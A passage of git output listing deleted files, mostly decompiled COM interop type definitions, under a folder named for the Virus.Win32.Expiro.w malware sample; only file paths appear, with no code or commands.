MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IBindStatusCallback_0003.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IBindStatusCallback_0004.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IBindStatusCallback_0005.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IBindStatusCallback_0006.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_ICodeInstall_0001.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IInternetSecurityManager_0001.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IInternetSecurityManager_0002.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IInternetSecurityManager_0003.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IInternetZoneManager_0001.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IInternetZoneManager_0002.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IMonikerProp_0001.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IOleDocument_0001.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL_IPrint_0001.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL___MIDL_itf_objidl_0000_0046_0001.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL___MIDL_itf_objidl_0000_0046_0002.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__MIDL___MIDL_itf_structuredquery_0000_0013_0001.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/__enative_startup_state.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_iobuf.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_ldiv_t.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_tagACENUMOPTION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_tagAUTOCOMPLETELISTOPTIONS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_tagAUTOCOMPLETEOPTIONS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_tagINTERNETFEATURELIST.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_tagOIBDG_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_tagPARSEACTION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_tagPI_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_tagPSUACTION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/_tagQUERYOPTION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/addressing.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/addressing04.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/gcroot_003CSystem_003A_003AString ^_003E.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/identity.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/localeinfo_struct.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/oasis-200401-wss-wssecurity-secext-1/0.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/oasis-200401-wss-wssecurity-utility-1/0.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagACTCTXW.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagACTIVATEFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagADVF.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagApplicationType.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagAspectInfoFlag.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagBANDSITECID.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagBINDSPEED.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagBINDSTATUS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagBINDSTRING.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagBIND_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagBROWSERFRAMEOPTIONS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCALLCONV.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCALLTYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCATEGORYINFO_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCATSORT_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCDBURNINGEXTENSIONACTION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCDBURNINGEXTENSIONRET.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCHANGEKIND.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCLSCTX.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCOINIT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCOMSD.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCONDITION_OPERATION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCONDITION_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCOWAIT_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCPVIEW.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagCTRLINFO.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagDATADIR.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagDCOM_CALL_STATE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagDESCKIND.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagDESKBANDCID.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagDISCARDCACHE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagDOMNodeType.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagDVASPECT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagDVASPECT2.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagEOLE_AUTHENTICATION_CAPABILITIES.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagEXPCMDFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagEXPCMDSTATE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagEXTCONN.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagExtendedErrorParamTypes.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagExtentMode.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagFOLDERFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagFOLDERVIEWMODE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagFUNCFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagFUNCKIND.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagGETPROPERTYSTOREFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagGPFIDL_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagGUIDKIND.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagHITRESULT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagINTERVAL_LIMIT_KIND.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagINVOKEKIND.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagLIBFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagLOCKTYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagMARKUPLINKTEXT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagMARKUPMESSAGE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagMARKUPSIZE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagMARKUPSTATE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagMEMCTX.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagMENUBANDHANDLERCID.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagMENUPOPUPPOPUPFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagMENUPOPUPSELECT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagMKREDUCE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagMKSYS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagMSG.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagMSHCTX.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagMSHLFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagNAMESPACEWALKFLAG.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagNSTCECLICKTYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagNSTCEHITTEST.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagNSTCGNI.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagNSTCITEMSTATE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagNSTCROOTSTYLE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagNSTCSTYLE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagOLECLOSE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagOLECONTF.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagOLEDCFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagOLEGETMONIKER.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagOLELINKBIND.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagOLEMISC.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagOLERENDER.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagOLEUPDATE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagOLEVERBATTRIB.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagOLEWHICHMK.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagOPEN_AS_INFO_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPENDINGMSG.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPENDINGTYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPERSIST_SPROPSTORE_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPKA_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPOINTERINACTIVE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPBAG2_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPDESC_AGGREGATION_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPDESC_COLUMNINDEX_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPDESC_CONDITION_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPDESC_DISPLAYTYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPDESC_ENUMFILTER.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPDESC_FORMAT_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPDESC_GROUPING_RANGE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPDESC_RELATIVEDESCRIPTION_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPDESC_SEARCHINFO_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPDESC_SORTDESCRIPTION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPDESC_TYPE_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPDESC_VIEW_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPENUMTYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPERTYUI_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPERTYUI_FORMAT_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPERTYUI_NAME_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPPAGESTATUS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPROPVARIANT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagPictureAttributes.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagQACONTAINERFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagQUERY_PARSER_MANAGER_OPTION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagREADYSTATE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagRECT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagREGCLS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagREGKIND.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSERVERCALL.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSF_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSHCOLSTATE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSHCONTF.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSHELLITEMCOMPAREHINTF.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSHELLPROPSHEETEXTPAGEID.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSHGDN.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSIATTRIBFLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSIGDN.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSIIGB.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSLGP_FLAGS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSLR_FLAGS.cs delete mode 100644 